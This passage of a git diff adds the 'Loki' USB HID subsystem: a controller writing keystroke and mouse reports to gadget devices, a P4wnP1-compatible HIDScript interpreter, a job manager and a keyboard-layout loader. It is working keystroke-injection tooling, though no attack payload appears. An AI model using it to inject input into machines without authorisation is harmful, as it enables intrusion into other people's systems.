(MOD_NONE, KEY_PAUSE), + "NUMLOCK": (MOD_NONE, KEY_NUMLOCK), + # F keys + "F1": (MOD_NONE, KEY_F1), "F2": (MOD_NONE, KEY_F2), + "F3": (MOD_NONE, KEY_F3), "F4": (MOD_NONE, KEY_F4), + "F5": (MOD_NONE, KEY_F5), "F6": (MOD_NONE, KEY_F6), + "F7": (MOD_NONE, KEY_F7), "F8": (MOD_NONE, KEY_F8), + "F9": (MOD_NONE, KEY_F9), "F10": (MOD_NONE, KEY_F10), + "F11": (MOD_NONE, KEY_F11), "F12": (MOD_NONE, KEY_F12), + # Letters (for combo usage like "GUI r") + "A": (MOD_NONE, KEY_A), "B": (MOD_NONE, KEY_B), + "C": (MOD_NONE, KEY_C), "D": (MOD_NONE, KEY_D), + "E": (MOD_NONE, KEY_E), "F": (MOD_NONE, KEY_F), + "G": (MOD_NONE, KEY_G), "H": (MOD_NONE, KEY_H), + "I": (MOD_NONE, KEY_I), "J": (MOD_NONE, KEY_J), + "K": (MOD_NONE, KEY_K), "L": (MOD_NONE, KEY_L), + "M": (MOD_NONE, KEY_M), "N": (MOD_NONE, KEY_N), + "O": (MOD_NONE, KEY_O), "P": (MOD_NONE, KEY_P), + "Q": (MOD_NONE, KEY_Q), "R": (MOD_NONE, KEY_R), + "S": (MOD_NONE, KEY_S), "T": (MOD_NONE, KEY_T), + "U": (MOD_NONE, KEY_U), "V": (MOD_NONE, KEY_V), + "W": (MOD_NONE, KEY_W), "X": (MOD_NONE, KEY_X), + "Y": (MOD_NONE, KEY_Y), "Z": (MOD_NONE, KEY_Z), +} + +# ── LED bitmasks (host → device output report) ──────────────── +LED_NUM = 0x01 +LED_CAPS = 0x02 +LED_SCROLL = 0x04 +LED_ANY = 0xFF + + +class HIDController: + """Low-level USB HID report writer.""" + + def __init__(self): + self._kbd_fd = None # /dev/hidg0 + self._mouse_fd = None # /dev/hidg1 + self._layout = load_layout("us") + self._speed_min = 0 # ms between keystrokes (0 = instant) + self._speed_max = 0 + + # ── Lifecycle ────────────────────────────────────────────── + + def open(self): + """Open HID gadget device files.""" + try: + self._kbd_fd = os.open("/dev/hidg0", os.O_RDWR | os.O_NONBLOCK) + logger.info("Opened /dev/hidg0 (keyboard)") + except OSError as e: + logger.error("Cannot open /dev/hidg0: %s", e) + raise + + try: + self._mouse_fd = os.open("/dev/hidg1", os.O_RDWR | os.O_NONBLOCK) + logger.info("Opened /dev/hidg1 (mouse)") + except OSError as e: + logger.warning("Cannot open /dev/hidg1 (mouse disabled): %s", e) + self._mouse_fd = None + + def close(self): + """Close HID device files.""" + self.release_all() + if self._kbd_fd is not None: + try: + os.close(self._kbd_fd) + except OSError: + pass + self._kbd_fd = None + if self._mouse_fd is not None: + try: + os.close(self._mouse_fd) + except OSError: + pass + self._mouse_fd = None + logger.debug("HID devices closed") + + @property + def is_open(self) -> bool: + return self._kbd_fd is not None + + # ── Layout ───────────────────────────────────────────────── + + def set_layout(self, name: str): + """Switch keyboard layout.""" + self._layout = load_layout(name) + logger.debug("Layout switched to '%s'", name) + + def set_typing_speed(self, min_ms: int, max_ms: int): + """Set random delay range between keystrokes (ms).""" + self._speed_min = max(0, min_ms) + self._speed_max = max(self._speed_min, max_ms) + + # ── Keyboard Reports ─────────────────────────────────────── + + def send_key_report(self, modifiers: int, keys: list): + """Send an 8-byte keyboard report: [mod, 0x00, key1..key6].""" + if self._kbd_fd is None: + return + report = bytearray(8) + report[0] = modifiers & 0xFF + for i, k in enumerate(keys[:6]): + report[2 + i] = k & 0xFF + os.write(self._kbd_fd, bytes(report)) + + def release_all(self): + """Send empty keyboard + mouse reports (release everything).""" + if self._kbd_fd is not None: + try: + os.write(self._kbd_fd, bytes(8)) + except OSError: + pass + if self._mouse_fd is not None: + try: + os.write(self._mouse_fd, bytes([0x01, 0, 0, 0, 0, 0])) + except OSError: + pass + + def press_combo(self, combo_str: str): + """Press a key combination like 'GUI r', 'CTRL ALT DELETE'. + + Keys are separated by spaces. All are pressed simultaneously, then released. + """ + parts = combo_str.strip().split() + mod_mask = 0 + keycodes = [] + + for part in parts: + upper = part.upper() + if upper in _COMBO_MAP: + m, k = _COMBO_MAP[upper] + mod_mask |= m + if k != KEY_NONE: + keycodes.append(k) + else: + # Try single char via layout + if len(part) == 1 and part in self._layout: + char_mod, char_key = self._layout[part] + mod_mask |= char_mod + keycodes.append(char_key) + else: + logger.warning("Unknown combo key: '%s'", part) + + if keycodes or mod_mask: + self.send_key_report(mod_mask, keycodes) + time.sleep(0.02) + self.send_key_report(0, []) # release + + def type_string(self, text: str, stop_event: Event = None): + """Type a string character by character using the current layout.""" + for ch in text: + if stop_event and stop_event.is_set(): + return + if ch in self._layout: + mod, key = self._layout[ch] + self.send_key_report(mod, [key]) + time.sleep(0.01) + self.send_key_report(0, []) # release + else: + logger.warning("Unmapped char: %r", ch) + continue + + # Inter-keystroke delay + if self._speed_max > 0: + delay = random.randint(self._speed_min, self._speed_max) / 1000.0 + if stop_event: + stop_event.wait(delay) + else: + time.sleep(delay) + else: + time.sleep(0.005) # tiny default gap for reliability + + # ── LED State ────────────────────────────────────────────── + + def read_led_state(self) -> int: + """Read current LED state from host (non-blocking). Returns bitmask.""" + if self._kbd_fd is None: + return 0 + try: + r, _, _ = select.select([self._kbd_fd], [], [], 0) + if r: + data = os.read(self._kbd_fd, 1) + if data: + return data[0] + except OSError: + pass + return 0 + + def wait_led(self, mask: int, stop_event: Event = None, timeout: float = 0): + """Block until host LED state matches mask. + + mask=LED_ANY matches any LED change. + Returns True if matched, False if stopped/timed out. + """ + start = time.monotonic() + initial = self.read_led_state() + while True: + if stop_event and stop_event.is_set(): + return False + if timeout > 0 and (time.monotonic() - start) > timeout: + return False + current = self.read_led_state() + if mask == LED_ANY: + if current != initial: + return True + else: + if current & mask: + return True + time.sleep(0.05) + + def wait_led_repeat(self, mask: int, count: int, stop_event: Event = None): + """Wait for LED to toggle count times.""" + for _ in range(count): + if not self.wait_led(mask, stop_event): + return False + return True + + # ── Mouse Reports ────────────────────────────────────────── + # P4wnP1 mouse descriptor uses Report ID 1 for relative mode. + # Report format: [0x01, buttons, X, Y, 0x00, 0x00] = 6 bytes + + def send_mouse_report(self, buttons: int, x: int, y: int, wheel: int = 0): + """Send a 6-byte relative mouse report with Report ID 1. + + Format: [report_id=1, buttons, X, Y, pad, pad] + """ + if self._mouse_fd is None: + return + # Clamp to signed byte range + x = max(-127, min(127, x)) + y = max(-127, min(127, y)) + report = struct.pack("BBbbBB", 0x01, buttons & 0xFF, x, y, 0, 0) + os.write(self._mouse_fd, report) + + def mouse_move(self, x: int, y: int): + """Move mouse by (x, y) relative pixels.""" + self.send_mouse_report(0, x, y) + + def mouse_move_stepped(self, x: int, y: int, step: int = 10): + """Move mouse in small increments for better tracking.""" + while x != 0 or y != 0: + dx = max(-step, min(step, x)) + dy = max(-step, min(step, y)) + self.send_mouse_report(0, dx, dy) + x -= dx + y -= dy + time.sleep(0.005) + + def mouse_click(self, button: int = 1): + """Click a mouse button (1=left, 2=right, 4=middle).""" + self.send_mouse_report(button, 0, 0) + time.sleep(0.05) + self.send_mouse_report(0, 0, 0) + + def mouse_double_click(self, button: int = 1): + """Double-click a mouse button.""" + self.mouse_click(button) + time.sleep(0.05) + self.mouse_click(button) diff --git a/loki/hidscript.py b/loki/hidscript.py new file mode 100644 index 0000000..bf66df6 --- /dev/null +++ b/loki/hidscript.py @@ -0,0 +1,748 @@ +""" +HIDScript parser and executor for Loki. + +Supports P4wnP1-compatible HIDScript syntax: + - Function calls: type("hello"); press("GUI r"); delay(500); + - var declarations: var x = 1; + - for / while loops + - if / else conditionals + - // and /* */ comments + - String concatenation with + + - Basic arithmetic (+, -, *, /) + - console.log() for job output + +Zero external dependencies — pure Python DSL parser. +""" +import re +import time +import logging +from threading import Event + +from logger import Logger + +logger = Logger(name="loki.hidscript", level=logging.DEBUG) + +# ── LED constants (available in scripts) ────────────────────── +NUM = 0x01 +CAPS = 0x02 +SCROLL = 0x04 +ANY = 0xFF + +# ── Mouse button constants ──────────────────────────────────── +BT1 = 1 # Left +BT2 = 2 # Right +BT3 = 4 # Middle +BTNONE = 0 + + +class HIDScriptError(Exception): + """Error during HIDScript execution.""" + def __init__(self, message, line=None): + self.line = line + super().__init__(f"Line {line}: {message}" if line else message) + + +class HIDScriptParser: + """Parse and execute P4wnP1-compatible HIDScript.""" + + def __init__(self, hid_controller, layout="us"): + self.hid = hid_controller + self._default_layout = layout + self._output = [] # console.log output + + def execute(self, source: str, stop_event: Event = None, job_id: str = ""): + """Parse and execute a HIDScript source string. + + Returns list of console.log output lines. + """ + self._output = [] + self._stop = stop_event or Event() + self._vars = { + # Built-in constants + "NUM": NUM, "CAPS": CAPS, "SCROLL": SCROLL, "ANY": ANY, + "BT1": BT1, "BT2": BT2, "BT3": BT3, "BTNONE": BTNONE, + "true": True, "false": False, "null": None, + } + + # Strip comments + source = self._strip_comments(source) + # Tokenize into statements + stmts = self._parse_block(source) + # Execute + self._exec_stmts(stmts) + + return self._output + + # ── Comment stripping ────────────────────────────────────── + + def _strip_comments(self, source: str) -> str: + """Remove // and /* */ comments.""" + # Block comments first + source = re.sub(r'/\*.*?\*/', '', source, flags=re.DOTALL) + # Line comments + source = re.sub(r'//[^\n]*', '', source) + return source + + # ── Parser ───────────────────────────────────────────────── + + def _parse_block(self, source: str) -> list: + """Parse source into a list of statement dicts.""" + stmts = [] + pos = 0 + source = source.strip() + + while pos < len(source): + if self._stop.is_set(): + break + pos = self._skip_ws(source, pos) + if pos >= len(source): + break + + # var declaration + if source[pos:pos+4] == 'var ' or source[pos:pos+4] == 'let ': + end = source.find(';', pos) + if end == -1: + end = len(source) + decl = source[pos+4:end].strip() + eq = decl.find('=') + if eq >= 0: + name = decl[:eq].strip() + value_expr = decl[eq+1:].strip() + stmts.append({"type": "assign", "name": name, "expr": value_expr}) + else: + stmts.append({"type": "assign", "name": decl.strip(), "expr": "null"}) + pos = end + 1 + + # for loop + elif source[pos:pos+4] == 'for ' or source[pos:pos+4] == 'for(': + stmt, pos = self._parse_for(source, pos) + stmts.append(stmt) + + # while loop + elif source[pos:pos+6] == 'while ' or source[pos:pos+6] == 'while(': + stmt, pos = self._parse_while(source, pos) + stmts.append(stmt) + + # if statement + elif source[pos:pos+3] == 'if ' or source[pos:pos+3] == 'if(': + stmt, pos = self._parse_if(source, pos) + stmts.append(stmt) + + # Block: { ... } + elif source[pos] == '{': + end = self._find_matching_brace(source, pos) + inner = source[pos+1:end] + stmts.extend(self._parse_block(inner)) + pos = end + 1 + + # Expression statement (function call or assignment) + else: + end = source.find(';', pos) + if end == -1: + end = len(source) + expr = source[pos:end].strip() + if expr: + # Check for assignment: name = expr + m = re.match(r'^([a-zA-Z_]\w*)\s*=\s*(.+)$', expr) + if m and not expr.startswith('=='): + stmts.append({"type": "assign", "name": m.group(1), "expr": m.group(2)}) + else: + stmts.append({"type": "expr", "expr": expr}) + pos = end + 1 + + return stmts + + def _parse_for(self, source, pos): + """Parse: for (init; cond; incr) { body }""" + # Find parenthesized header + p_start = source.index('(', pos) + p_end = self._find_matching_paren(source, p_start) + header = source[p_start+1:p_end] + + parts = header.split(';') + if len(parts) != 3: + raise HIDScriptError("Invalid for loop header") + init_expr = parts[0].strip() + cond_expr = parts[1].strip() + incr_expr = parts[2].strip() + + # Remove var/let prefix from init + for prefix in ('var ', 'let '): + if init_expr.startswith(prefix): + init_expr = init_expr[len(prefix):] + + # Find body + body_start = self._skip_ws(source, p_end + 1) + if body_start < len(source) and source[body_start] == '{': + body_end = self._find_matching_brace(source, body_start) + body = source[body_start+1:body_end] + next_pos = body_end + 1 + else: + semi = source.find(';', body_start) + if semi == -1: + semi = len(source) + body = source[body_start:semi] + next_pos = semi + 1 + + return { + "type": "for", + "init": init_expr, + "cond": cond_expr, + "incr": incr_expr, + "body": body, + }, next_pos + + def _parse_while(self, source, pos): + """Parse: while (cond) { body }""" + p_start = source.index('(', pos) + p_end = self._find_matching_paren(source, p_start) + cond = source[p_start+1:p_end].strip() + + body_start = self._skip_ws(source, p_end + 1) + if body_start < len(source) and source[body_start] == '{': + body_end = self._find_matching_brace(source, body_start) + body = source[body_start+1:body_end] + next_pos = body_end + 1 + else: + semi = source.find(';', body_start) + if semi == -1: + semi = len(source) + body = source[body_start:semi] + next_pos = semi + 1 + + return {"type": "while", "cond": cond, "body": body}, next_pos + + def _parse_if(self, source, pos): + """Parse: if (cond) { body } [else { body }]""" + p_start = source.index('(', pos) + p_end = self._find_matching_paren(source, p_start) + cond = source[p_start+1:p_end].strip() + + body_start = self._skip_ws(source, p_end + 1) + if body_start < len(source) and source[body_start] == '{': + body_end = self._find_matching_brace(source, body_start) + body = source[body_start+1:body_end] + next_pos = body_end + 1 + else: + semi = source.find(';', body_start) + if semi == -1: + semi = len(source) + body = source[body_start:semi] + next_pos = semi + 1 + + # Check for else + else_body = None + check = self._skip_ws(source, next_pos) + if source[check:check+4] == 'else': + after_else = self._skip_ws(source, check + 4) + if after_else < len(source) and source[after_else] == '{': + eb_end = self._find_matching_brace(source, after_else) + else_body = source[after_else+1:eb_end] + next_pos = eb_end + 1 + elif source[after_else:after_else+2] == 'if': + # else if — parse recursively + inner_if, next_pos = self._parse_if(source, after_else) + else_body = inner_if # will be a dict, handle in exec + else: + semi = source.find(';', after_else) + if semi == -1: + semi = len(source) + else_body = source[after_else:semi] + next_pos = semi + 1 + + return {"type": "if", "cond": cond, "body": body, "else": else_body}, next_pos + + # ── Executor ─────────────────────────────────────────────── + + def _exec_stmts(self, stmts: list): + """Execute a list of parsed statements.""" + for stmt in stmts: + if self._stop.is_set(): + return + stype = stmt["type"] + + if stype == "assign": + self._vars[stmt["name"]] = self._eval_expr(stmt["expr"]) + + elif stype == "expr": + self._eval_expr(stmt["expr"]) + + elif stype == "for": + self._exec_for(stmt) + + elif stype == "while": + self._exec_while(stmt) + + elif stype == "if": + self._exec_if(stmt) + + def _exec_for(self, stmt): + """Execute a for loop.""" + # Parse init as assignment + init = stmt["init"] + eq = init.find('=') + if eq >= 0: + name = init[:eq].strip() + self._vars[name] = self._eval_expr(init[eq+1:].strip()) + + max_iterations = 100000 + i = 0 + while i < max_iterations: + if self._stop.is_set(): + return + if not self._eval_expr(stmt["cond"]): + break + self._exec_stmts(self._parse_block(stmt["body"])) + # Execute increment + incr = stmt["incr"] + if "++" in incr: + var_name = incr.replace("++", "").strip() + self._vars[var_name] = self._vars.get(var_name, 0) + 1 + elif "--" in incr: + var_name = incr.replace("--", "").strip() + self._vars[var_name] = self._vars.get(var_name, 0) - 1 + else: + eq = incr.find('=') + if eq >= 0: + name = incr[:eq].strip() + self._vars[name] = self._eval_expr(incr[eq+1:].strip()) + i += 1 + + def _exec_while(self, stmt): + """Execute a while loop.""" + max_iterations = 1000000 + i = 0 + while i < max_iterations: + if self._stop.is_set(): + return + if not self._eval_expr(stmt["cond"]): + break + self._exec_stmts(self._parse_block(stmt["body"])) + i += 1 + + def _exec_if(self, stmt): + """Execute an if/else statement.""" + if self._eval_expr(stmt["cond"]): + self._exec_stmts(self._parse_block(stmt["body"])) + elif stmt.get("else"): + else_part = stmt["else"] + if isinstance(else_part, dict): + # else if + self._exec_if(else_part) + else: + self._exec_stmts(self._parse_block(else_part)) + + # ── Expression Evaluator ─────────────────────────────────── + + def _eval_expr(self, expr): + """Evaluate an expression string and return its value.""" + if isinstance(expr, (int, float, bool)): + return expr + if not isinstance(expr, str): + return expr + + expr = expr.strip() + if not expr: + return None + + # String literal + if (expr.startswith('"') and expr.endswith('"')) or \ + (expr.startswith("'") and expr.endswith("'")): + return self._unescape(expr[1:-1]) + + # Numeric literal + try: + if '.' in expr: + return float(expr) + return int(expr) + except ValueError: + pass + + # Boolean / null + if expr == 'true': + return True + if expr == 'false': + return False + if expr == 'null': + return None + + # String concatenation with + + if self._has_top_level_op(expr, '+') and self._contains_string(expr): + parts = self._split_top_level(expr, '+') + result = "" + for p in parts: + val = self._eval_expr(p.strip()) + result += str(val) if val is not None else "" + return result + + # Comparison operators + for op in ['===', '!==', '==', '!=', '>=', '<=', '>', '<']: + if self._has_top_level_op(expr, op): + parts = self._split_top_level(expr, op, max_splits=1) + if len(parts) == 2: + left = self._eval_expr(parts[0].strip()) + right = self._eval_expr(parts[1].strip()) + if op in ('==', '==='): + return left == right + elif op in ('!=', '!=='): + return left != right + elif op == '>': + return left > right + elif op == '<': + return left < right + elif op == '>=': + return left >= right + elif op == '<=': + return left <= right + + # Logical operators + if self._has_top_level_op(expr, '&&'): + parts = self._split_top_level(expr, '&&', max_splits=1) + return self._eval_expr(parts[0]) and self._eval_expr(parts[1]) + if self._has_top_level_op(expr, '||'): + parts = self._split_top_level(expr, '||', max_splits=1) + return self._eval_expr(parts[0]) or self._eval_expr(parts[1]) + + # Arithmetic + for op in ['+', '-']: + if self._has_top_level_op(expr, op) and not self._contains_string(expr): + parts = self._split_top_level(expr, op) + result = self._eval_expr(parts[0].strip()) + for p in parts[1:]: + val = self._eval_expr(p.strip()) + if op == '+': + result = (result or 0) + (val or 0) + else: + result = (result or 0) - (val or 0) + return result + + for op in ['*', '/']: + if self._has_top_level_op(expr, op): + parts = self._split_top_level(expr, op) + result = self._eval_expr(parts[0].strip()) + for p in parts[1:]: + val = self._eval_expr(p.strip()) + if op == '*': + result = (result or 0) * (val or 0) + else: + result = (result or 0) / (val or 1) + return result + + # Modulo + if self._has_top_level_op(expr, '%'): + parts = self._split_top_level(expr, '%') + result = self._eval_expr(parts[0].strip()) + for p in parts[1:]: + val = self._eval_expr(p.strip()) + result = (result or 0) % (val or 1) + return result + + # Negation + if expr.startswith('!'): + return not self._eval_expr(expr[1:]) + + # Parenthesized expression + if expr.startswith('(') and self._find_matching_paren(expr, 0) == len(expr) - 1: + return self._eval_expr(expr[1:-1]) + + # Function call + m = re.match(r'^([a-zA-Z_][\w.]*)\s*\(', expr) + if m: + func_name = m.group(1) + p_start = expr.index('(') + p_end = self._find_matching_paren(expr, p_start) + args_str = expr[p_start+1:p_end] + args = self._parse_args(args_str) + return self._call_func(func_name, args) + + # Variable reference + if re.match(r'^[a-zA-Z_]\w*$', expr): + return self._vars.get(expr, 0) + + # Increment/decrement as expression + if expr.endswith('++'): + name = expr[:-2].strip() + val = self._vars.get(name, 0) + self._vars[name] = val + 1 + return val + if expr.endswith('--'): + name = expr[:-2].strip() + val = self._vars.get(name, 0) + self._vars[name] = val - 1 + return val + + logger.warning("Cannot evaluate expression: %r", expr) + return 0 + + # ── Built-in Functions ───────────────────────────────────── + + def _call_func(self, name: str, args: list): + """Dispatch a built-in function call.""" + # Evaluate all arguments + evaled = [self._eval_expr(a) for a in args] + + if name == "type": + text = str(evaled[0]) if evaled else "" + self.hid.type_string(text, stop_event=self._stop) + + elif name == "press": + combo = str(evaled[0]) if evaled else "" + self.hid.press_combo(combo) + + elif name == "delay": + ms = int(evaled[0]) if evaled else 0 + if ms > 0: + self._stop.wait(ms / 1000.0) + + elif name == "layout": + name_val = str(evaled[0]) if evaled else self._default_layout + self.hid.set_layout(name_val) + + elif name == "typingSpeed": + min_ms = int(evaled[0]) if len(evaled) > 0 else 0 + max_ms = int(evaled[1]) if len(evaled) > 1 else min_ms + self.hid.set_typing_speed(min_ms, max_ms) + + elif name == "move": + x = int(evaled[0]) if len(evaled) > 0 else 0 + y = int(evaled[1]) if len(evaled) > 1 else 0 + self.hid.mouse_move(x, y) + + elif name == "moveTo": + x = int(evaled[0]) if len(evaled) > 0 else 0 + y = int(evaled[1]) if len(evaled) > 1 else 0 + self.hid.mouse_move_stepped(x, y, step=5) + + elif name == "moveStepped": + x = int(evaled[0]) if len(evaled) > 0 else 0 + y = int(evaled[1]) if len(evaled) > 1 else 0 + step = int(evaled[2]) if len(evaled) > 2 else 10 + self.hid.mouse_move_stepped(x, y, step=step) + + elif name == "click": + btn = int(evaled[0]) if evaled else BT1 + self.hid.mouse_click(btn) + + elif name == "doubleClick": + btn = int(evaled[0]) if evaled else BT1 + self.hid.mouse_double_click(btn) + + elif name == "button": + mask = int(evaled[0]) if evaled else 0 + self.hid.send_mouse_report(mask, 0, 0) + + elif name == "waitLED": + mask = int(evaled[0]) if evaled else ANY + timeout = float(evaled[1]) / 1000 if len(evaled) > 1 else 0 + return self.hid.wait_led(mask, self._stop, timeout) + + elif name == "waitLEDRepeat": + mask = int(evaled[0]) if evaled else ANY + count = int(evaled[1]) if len(evaled) > 1 else 1 + return self.hid.wait_led_repeat(mask, count, self._stop) + + elif name == "console.log" or name == "log": + msg = " ".join(str(a) for a in evaled) + self._output.append(msg) + logger.debug("[HIDScript] %s", msg) + + elif name in ("parseInt", "Number"): + try: + return int(float(evaled[0])) if evaled else 0 + except (ValueError, TypeError): + return 0 + + elif name == "String": + return str(evaled[0]) if evaled else "" + + elif name == "Math.random": + import random + return random.random() + + elif name == "Math.floor": + import math + return math.floor(evaled[0]) if evaled else 0 + + else: + logger.warning("Unknown function: %s", name) + return None + + return None + + # ── Helpers ──────────────────────────────────────────────── + + def _parse_args(self, args_str: str) -> list: + """Split function arguments respecting string literals and parens.""" + args = [] + depth = 0 + current = "" + in_str = None + + for ch in args_str: + if in_str: + current += ch + if ch == in_str and (len(current) < 2 or current[-2] != '\\'): + in_str = None + elif ch in ('"', "'"): + in_str = ch + current += ch + elif ch == '(': + depth += 1 + current += ch + elif ch == ')': + depth -= 1 + current += ch + elif ch == ',' and depth == 0: + if current.strip(): + args.append(current.strip()) + current = "" + else: + current += ch + + if current.strip(): + args.append(current.strip()) + return args + + def _unescape(self, s: str) -> str: + """Process escape sequences in a string.""" + return s.replace('\\n', '\n').replace('\\t', '\t').replace('\\r', '\r') \ + .replace('\\"', '"').replace("\\'", "'").replace('\\\\', '\\') + + def _skip_ws(self, source: str, pos: int) -> int: + """Skip whitespace.""" + while pos < len(source) and source[pos] in ' \t\n\r': + pos += 1 + return pos + + def _find_matching_brace(self, source: str, pos: int) -> int: + """Find matching } for { at pos.""" + depth = 1 + i = pos + 1 + in_str = None + while i < len(source): + ch = source[i] + if in_str: + if ch == in_str and source[i-1] != '\\': + in_str = None + elif ch in ('"', "'"): + in_str = ch + elif ch == '{': + depth += 1 + elif ch == '}': + depth -= 1 + if depth == 0: + return i + i += 1 + return len(source) - 1 + + def _find_matching_paren(self, source: str, pos: int) -> int: + """Find matching ) for ( at pos.""" + depth = 1 + i = pos + 1 + in_str = None + while i < len(source): + ch = source[i] + if in_str: + if ch == in_str and source[i-1] != '\\': + in_str = None + elif ch in ('"', "'"): + in_str = ch + elif ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + i += 1 + return len(source) - 1 + + def _has_top_level_op(self, expr: str, op: str) -> bool: + """Check if operator exists at top level (not inside parens/strings).""" + depth = 0 + in_str = None + i = 0 + while i < len(expr): + ch = expr[i] + if in_str: + if ch == in_str and (i == 0 or expr[i-1] != '\\'): + in_str = None + elif ch in ('"', "'"): + in_str = ch + elif ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + elif depth == 0 and expr[i:i+len(op)] == op: + # Don't match multi-char ops that are substrings of longer ones + if len(op) == 1 and op in '+-': + # Skip if part of ++ or -- + if i + 1 < len(expr) and expr[i+1] == op: + i += 2 + continue + if i > 0 and expr[i-1] == op: + i += 1 + continue + return True + i += 1 + return False + + def _split_top_level(self, expr: str, op: str, max_splits: int = -1) -> list: + """Split expression by operator at top level only.""" + parts = [] + depth = 0 + in_str = None + current = "" + i = 0 + splits = 0 + + while i < len(expr): + ch = expr[i] + if in_str: + current += ch + if ch == in_str and (i == 0 or expr[i-1] != '\\'): + in_str = None + elif ch in ('"', "'"): + in_str = ch + current += ch + elif ch == '(': + depth += 1 + current += ch + elif ch == ')': + depth -= 1 + current += ch + elif depth == 0 and expr[i:i+len(op)] == op and (max_splits < 0 or splits < max_splits): + # Don't split on ++ or -- when looking for + or - + if len(op) == 1 and op in '+-': + if i + 1 < len(expr) and expr[i+1] == op: + current += ch + i += 1 + current += expr[i] + i += 1 + continue + parts.append(current) + current = "" + i += len(op) + splits += 1 + continue + else: + current += ch + i += 1 + + parts.append(current) + return parts + + def _contains_string(self, expr: str) -> bool: + """Check if expression contains a string literal at top level.""" + depth = 0 + in_str = None + for ch in expr: + if in_str: + if ch == in_str: + return True # Found complete string + elif ch in ('"', "'"): + in_str = ch + elif ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + return False diff --git a/loki/jobs.py b/loki/jobs.py new file mode 100644 index 0000000..5fc79be --- /dev/null +++ b/loki/jobs.py @@ -0,0 +1,162 @@ +""" +Loki job manager — tracks HIDScript execution jobs. +Each job runs in its own daemon thread. +""" +import uuid +import time +import logging +import traceback +from datetime import datetime +from threading import Thread, Event + +from logger import Logger + +logger = Logger(name="loki.jobs", level=logging.DEBUG) + + +class LokiJobManager: + """Manages HIDScript job lifecycle.""" + + def __init__(self, engine): + self.engine = engine + self._jobs = {} # job_id → job dict + self._threads = {} # job_id → Thread + self._stops = {} # job_id → Event + + def create_job(self, script_name: str, script_content: str) -> str: + """Create and start a new job. Returns job_id (UUID).""" + job_id = str(uuid.uuid4())[:8] + now = datetime.now().isoformat() + + job = { + "id": job_id, + "script_name": script_name, + "status": "pending", + "output": "", + "error": "", + "started_at": None, + "finished_at": None, + "created_at": now, + } + self._jobs[job_id] = job + stop = Event() + self._stops[job_id] = stop + + # Persist to DB + try: + db = self.engine.shared_data.db + db.execute( + "INSERT INTO loki_jobs (id, script_name, status, created_at) VALUES (?, ?, ?, ?)", + (job_id, script_name, "pending", now) + ) + except Exception as e: + logger.error("DB insert job error: %s", e) + + # Start execution thread + t = Thread( + target=self._run_job, + args=(job_id, script_content, stop), + daemon=True, + name=f"loki-job-{job_id}", + ) + self._threads[job_id] = t + t.start() + + logger.info("Job %s created: %s", job_id, script_name) + return job_id + + def cancel_job(self, job_id: str) -> bool: + """Cancel a running job.""" + stop = self._stops.get(job_id) + if stop: + stop.set() + job = self._jobs.get(job_id) + if job and job["status"] == "running": + job["status"] = "cancelled" + job["finished_at"] = datetime.now().isoformat() + self._update_db(job_id, "cancelled", job.get("output", ""), "Cancelled by user") + logger.info("Job %s cancelled", job_id) + return True + return False + + def get_all_jobs(self) -> list: + """Return list of all jobs (most recent first).""" + jobs = list(self._jobs.values()) + jobs.sort(key=lambda j: j.get("created_at", ""), reverse=True) + return jobs + + def get_job(self, job_id: str) -> dict: + """Get a single job by ID.""" + return self._jobs.get(job_id) + + def clear_completed(self): + """Remove finished/failed/cancelled jobs from memory.""" + to_remove = [ + jid for jid, j in self._jobs.items() + if j["status"] in ("succeeded", "failed", "cancelled") + ] + for jid in to_remove: + self._jobs.pop(jid, None) + self._threads.pop(jid, None) + self._stops.pop(jid, None) + try: + self.engine.shared_data.db.execute( + "DELETE FROM loki_jobs WHERE status IN ('succeeded', 'failed', 'cancelled')" + ) + except Exception as e: + logger.error("DB clear jobs error: %s", e) + + @property + def running_count(self) -> int: + return sum(1 for j in self._jobs.values() if j["status"] == "running") + + # ── Internal ─────────────────────────────────────────────── + + def _run_job(self, job_id: str, script_content: str, stop: Event): + """Execute a HIDScript in this thread.""" + job = self._jobs[job_id] + job["status"] = "running" + job["started_at"] = datetime.now().isoformat() + self._update_db(job_id, "running") + + try: + from loki.hidscript import HIDScriptParser + parser = HIDScriptParser(self.engine.hid_controller) + output_lines = parser.execute(script_content, stop_event=stop, job_id=job_id) + + if stop.is_set(): + job["status"] = "cancelled" + else: + job["status"] = "succeeded" + + job["output"] = "\n".join(output_lines) + + except Exception as e: + job["status"] = "failed" + job["error"] = str(e) + job["output"] = traceback.format_exc() + logger.error("Job %s failed: %s", job_id, e) + + finally: + job["finished_at"] = datetime.now().isoformat() + self._update_db( + job_id, job["status"], + job.get("output", ""), + job.get("error", ""), + ) + logger.info("Job %s finished: %s", job_id, job["status"]) + + def _update_db(self, job_id: str, status: str, output: str = "", error: str = ""): + """Persist job state to database.""" + try: + db = self.engine.shared_data.db + db.execute( + "UPDATE loki_jobs SET status=?, output=?, error=?, " + "started_at=?, finished_at=? WHERE id=?", + (status, output, error, + self._jobs.get(job_id, {}).get("started_at"), + self._jobs.get(job_id, {}).get("finished_at"), + job_id) + ) + except Exception as e: + logger.error("DB update job error: %s", e) diff --git a/loki/layouts/__init__.py b/loki/layouts/__init__.py new file mode 100644 index 0000000..d84e7f1 --- /dev/null +++ b/loki/layouts/__init__.py @@ -0,0 +1,45 @@ +""" +Keyboard layout loader for Loki HID subsystem. +Caches loaded layouts in memory. +""" +import json +import os +import logging + +from logger import Logger + +logger = Logger(name="loki.layouts", level=logging.DEBUG) + +_LAYOUT_DIR = os.path.dirname(os.path.abspath(__file__)) +_cache = {} + + +def load(name: str = "us") -> dict: + """Load a keyboard layout by name. Returns char → (modifier, keycode) map.""" + name = name.lower() + if name in _cache: + return _cache[name] + + path = os.path.join(_LAYOUT_DIR, f"{name}.json") + if not os.path.isfile(path): + logger.warning("Layout '%s' not found, falling back to 'us'", name) + path = os.path.join(_LAYOUT_DIR, "us.json") + name = "us" + if name in _cache: + return _cache[name] + + with open(path, "r") as f: + data = json.load(f) + + _cache[name] = data + logger.debug("Loaded keyboard layout '%s' (%d chars)", name, len(data)) + return data + + +def available() -> list: + """List available layout names.""" + layouts = [] + for f in os.listdir(_LAYOUT_DIR): + if f.endswith(".json"): + layouts.append(f[:-5]) + return sorted(layouts) diff --git a/loki/layouts/us.json b/loki/layouts/us.json new file mode 100644 index 0000000..7336f6c --- /dev/null +++ b/loki/layouts/us.json @@ -0,0 +1,41 @@ +{ + "a": [0, 4], "b": [0, 5], "c": [0, 6], "d": [0, 7], + "e": [0, 8], "f": [0, 9], "g": [0, 10], 